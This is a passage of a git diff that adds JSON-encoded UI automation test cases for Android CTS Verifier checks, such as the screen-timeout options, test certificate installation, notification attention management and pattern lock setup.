timeout\",\"actionId\":\"1b285ea0-826e-4747-9e91-ed9f980f7d57\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Screen timeout\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify \\\"2 minutes\\\" option is disabled\",\"actionId\":\"f9ec331e-9c6e-4d37-bab0-97cb588992c5\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"2 minutes\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4f5a6965-a7b9-4999-af33-d421d8e979e9\",\"displayText\":\"2 minutes\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0b025044-54ab-490d-8f59-ec515c62b2f1\",\"displayText\":\"2 minutes\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.CheckedTextView\",\"resourceId\":\"com.android.settings:id/text1\",\"text\":\"2 minutes\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":42.333333333333336,\"y1\":333.0,\"x2\":314.0,\"y2\":362.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":52.16666666666666,\"y\":-2.8333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"2 minutes\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":325.6666666666667,\"x2\":336.0,\"y2\":369.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":126.0,\"y\":350.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":54.0,\"y\":-2.8333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"0b025044-54ab-490d-8f59-ec515c62b2f1\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"2 minutes\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":83.0,\"y1\":335.0,\"x2\":169.0,\"y2\":366.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify \\\"5 minutes\\\" option is disabled\",\"actionId\":\"59d405ee-bbd9-4b2b-ab09-59ceaa563a37\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"5 minutes\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"24de7ba8-998d-40ae-ba99-4e6fc54a3d17\",\"displayText\":\"5 minutes\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"47b68cd4-e966-48f8-8965-7d806b34973b\",\"displayText\":\"5 minutes\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.CheckedTextView\",\"resourceId\":\"com.android.settings:id/text1\",\"text\":\"5 minutes\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":42.333333333333336,\"y1\":377.0,\"x2\":314.0,\"y2\":406.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":51.16666666666666,\"y\":0.6666666666666288,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"5 minutes\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":369.6666666666667,\"x2\":336.0,\"y2\":413.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":127.0,\"y\":391.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":53.0,\"y\":0.6666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"47b68cd4-e966-48f8-8965-7d806b34973b\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"5 minutes\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":86.0,\"y1\":382.0,\"x2\":168.0,\"y2\":400.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify \\\"10 minutes\\\" option is disabled\",\"actionId\":\"60858fd2-c7eb-4b87-b739-5a1e5bf4da68\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"10 minutes\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e9f38417-dd3f-430f-b603-9780192ecd77\",\"displayText\":\"10 minutes\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"34d3da4b-2759-49f6-9892-ee81fa991113\",\"displayText\":\"10 minutes\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.CheckedTextView\",\"resourceId\":\"com.android.settings:id/text1\",\"text\":\"10 minutes\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":42.333333333333336,\"y1\":421.0,\"x2\":314.0,\"y2\":450.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":49.16666666666666,\"y\":-1.3333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"10 minutes\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":413.6666666666667,\"x2\":336.0,\"y2\":457.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":129.0,\"y\":437.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":51.0,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"34d3da4b-2759-49f6-9892-ee81fa991113\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"10 minutes\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":88.0,\"y1\":419.0,\"x2\":170.0,\"y2\":455.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify \\\"30 minutes\\\" option is disabled\",\"actionId\":\"45e1e11c-461a-46bd-8a0a-c594644b2285\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"30 minutes\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c1e7d77d-0754-49e6-b90a-2162fb67033f\",\"displayText\":\"30 minutes\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1927f0b6-43ef-4850-bfd2-90ee7631b366\",\"displayText\":\"30 minutes\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.CheckedTextView\",\"resourceId\":\"com.android.settings:id/text1\",\"text\":\"30 minutes\",\"checked\":true,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":42.333333333333336,\"y1\":465.0,\"x2\":314.0,\"y2\":494.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":41.16666666666666,\"y\":4.666666666666629,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"30 minutes\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":457.6666666666667,\"x2\":336.0,\"y2\":501.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":137.0,\"y\":475.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":43.0,\"y\":4.666666666666686,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"1927f0b6-43ef-4850-bfd2-90ee7631b366\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"30 minutes\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":82.0,\"y1\":458.0,\"x2\":192.0,\"y2\":492.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7d0e5c2d-5235-4801-9c0f-84d55d773e4a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c6432d73-2d26-493c-9367-282be274154f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"26dc6e6d-5b02-4118-b2c2-dba7d776ad13\",\"4d896eee-a7eb-400b-9f52-f35217f51709\",\"a0b6adce-d7e3-4f1f-918d-7e6ab93fa2dc\",\"a4345a2b-8749-46b0-857b-3f8903aada5d\",\"24d3baf7-2b9a-4295-812e-f8095d4e07f6\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"1b285ea0-826e-4747-9e91-ed9f980f7d57\",\"f9ec331e-9c6e-4d37-bab0-97cb588992c5\",\"59d405ee-bbd9-4b2b-ab09-59ceaa563a37\",\"60858fd2-c7eb-4b87-b739-5a1e5bf4da68\",\"45e1e11c-461a-46bd-8a0a-c594644b2285\",\"7d0e5c2d-5235-4801-9c0f-84d55d773e4a\",\"c6432d73-2d26-493c-9367-282be274154f\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-25-Set maximum time to lock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.157000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ce88edc2-4ae3-4424-9d5b-906134e04383 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ce88edc2-4ae3-4424-9d5b-906134e04383
new file mode 100644
index 0000000..8aef373
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ce88edc2-4ae3-4424-9d5b-906134e04383
@@ -0,0 +1 @@
+{"uuid":"ce88edc2-4ae3-4424-9d5b-906134e04383","details":"{\"type\":\"CompoundAction\",\"name\":\"If myCert is not installed, install Cert\",\"actionId\":\"ce88edc2-4ae3-4424-9d5b-906134e04383\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if \\\"Internet Widgits Pty Ltd\\\" is installed\",\"actionId\":\"87bc524f-14d6-4067-be1b-a046c4eae407\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Internet Widgits Pty Ltd\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4b2bc858-9a28-4653-b927-7869b3416a9a\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c1da4401-16f4-4baa-a8bb-9147a765979b\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"bd98b7bd-75dd-4075-84df-7c231153c8c3\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/trusted_credential_subject_primary\",\"text\":\"Internet Widgits Pty Ltd\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":135.75,\"x2\":180.25,\"y2\":157.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-5.375,\"y\":-4.125,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Internet Widgits Pty Ltd\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":122.5,\"x2\":290.5,\"y2\":186.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Internet Widgits Pty Ltd\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":122.5,\"x2\":360.0,\"y2\":186.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":102.5,\"y\":150.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":77.5,\"y\":4.125,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"bd98b7bd-75dd-4075-84df-7c231153c8c3\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Internet Widgits Pty Ltd\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":130.0,\"x2\":201.0,\"y2\":171.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"94e7f6c1-47e8-49d9-ae47-512ca88cc5f0\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action,install credential button\",\"actionId\":\"81d42fdc-79f1-4796-9579-22f1ed6d72c7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/install\"}],\"childrenIdList\":[\"87bc524f-14d6-4067-be1b-a046c4eae407\",\"94e7f6c1-47e8-49d9-ae47-512ca88cc5f0\",\"81d42fdc-79f1-4796-9579-22f1ed6d72c7\",\"0e355b97-b105-4074-8e2f-c4d1e0a69a08\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"If myCert is not installed, install Cert","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.233000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf14915f-d938-43d7-b09b-40a0a3c80fd8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf14915f-d938-43d7-b09b-40a0a3c80fd8
new file mode 100644
index 0000000..45681bb
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf14915f-d938-43d7-b09b-40a0a3c80fd8
@@ -0,0 +1 @@
+{"uuid":"cf14915f-d938-43d7-b09b-40a0a3c80fd8","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Notification Attention Management Test\",\"actionId\":\"cf14915f-d938-43d7-b09b-40a0a3c80fd8\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Notification Attention Management Test\",\"actionId\":\"7bd094e4-2785-47a3-9136-8122a7bdd769\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Notification Attention Management Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"20f2465f-a7e9-47f6-aa1d-7157d20292a5\",\"displayText\":\"Notification Attention Management Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Notification Attention Management Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":410.0,\"x2\":351.25,\"y2\":452.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":152.0,\"y\":436.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":28.0,\"y\":-5.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"20f2465f-a7e9-47f6-aa1d-7157d20292a5\",\"firstText\":\"Notification Attention Management Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Notification Attention Management Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":420.0,\"x2\":300.0,\"y2\":452.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Notification Attention Management Test\",\"actionId\":\"d69daab9-62bf-46a5-8cf1-1846dc81f9e1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Notification Attention Management Test\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 140 secs\",\"actionId\":\"b3a65456-1a70-4ea5-accb-b2338de56288\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":140000,\"createdBy\":\"riacheltseng\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"7c43caea-dcb9-4b28-a0cb-51cd57a0d934\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"f209be60-7130-45fa-9c05-7eee3d680ad5\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"InputAction\",\"name\":\"Volume Up Button\",\"actionId\":\"1b655105-467b-461c-88ea-3c6b6735986d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":24,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/ringer_icon\",\"actionId\":\"31efac54-1dc1-4e8a-9a73-5c74a0ff40b7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.systemui:id/ringer_icon\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"7bd094e4-2785-47a3-9136-8122a7bdd769\",\"d69daab9-62bf-46a5-8cf1-1846dc81f9e1\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"8de23e46-4a22-4d4b-bc72-5588dfe25101\",\"b3a65456-1a70-4ea5-accb-b2338de56288\",\"7c43caea-dcb9-4b28-a0cb-51cd57a0d934\",\"f209be60-7130-45fa-9c05-7eee3d680ad5\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"1b655105-467b-461c-88ea-3c6b6735986d\",\"31efac54-1dc1-4e8a-9a73-5c74a0ff40b7\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Notification Attention Management Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.235000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf1e8e8c-2104-46f1-8b28-4d372b86fc49 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf1e8e8c-2104-46f1-8b28-4d372b86fc49
new file mode 100644
index 0000000..4b704b2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf1e8e8c-2104-46f1-8b28-4d372b86fc49
@@ -0,0 +1 @@
+{"uuid":"cf1e8e8c-2104-46f1-8b28-4d372b86fc49","details":"{\"type\":\"CompoundAction\",\"name\":\"Check if it's on the main screen of BYOD\",\"actionId\":\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-if it's on the main screen of BYOD\",\"actionId\":\"d7b2582d-c790-4797-bdd4-8cbbb3a48b7f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/prepare_test_button\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"d7b2582d-c790-4797-bdd4-8cbbb3a48b7f\",\"015882d1-9ce9-4b67-a7e3-925ee0798fe4\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Check if it's on the main screen of BYOD","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.290000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf6c2d6d-a4fe-4981-af4b-f561291f847b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf6c2d6d-a4fe-4981-af4b-f561291f847b
new file mode 100644
index 0000000..d9992a1
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cf6c2d6d-a4fe-4981-af4b-f561291f847b
@@ -0,0 +1 @@
+{"uuid":"cf6c2d6d-a4fe-4981-af4b-f561291f847b","details":"{\"type\":\"CompoundAction\",\"name\":\"Set Pattern lock\",\"actionId\":\"cf6c2d6d-a4fe-4981-af4b-f561291f847b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Pattern\",\"actionId\":\"365a2c39-b92c-4113-897c-3609e2aedcb1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Pattern\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"02bbd6f1-ca03-4a2f-bf68-31b7bdc4b77c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm\",\"actionId\":\"d6b9fed9-3c85-44a9-9fee-7381f1475333\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"365a2c39-b92c-4113-897c-3609e2aedcb1\",\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\",\"02bbd6f1-ca03-4a2f-bf68-31b7bdc4b77c\",\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\",\"d6b9fed9-3c85-44a9-9fee-7381f1475333\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set Pattern lock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.041000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d1023735-52c1-48bc-9dc7-a7b03a15ca7b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d1023735-52c1-48bc-9dc7-a7b03a15ca7b
new file mode 100644
index 0000000..0468b58
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d1023735-52c1-48bc-9dc7-a7b03a15ca7b
@@ -0,0 +1 @@
+{"uuid":"d1023735-52c1-48bc-9dc7-a7b03a15ca7b","details":"{\"type\":\"CompoundAction\",\"name\":\"Set long support message\",\"actionId\":\"d1023735-52c1-48bc-9dc7-a7b03a15ca7b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, long_msg_button\",\"actionId\":\"8ff4933a-eab3-4686-96e1-e1ef26ee295f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/long_msg_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, set_default_message 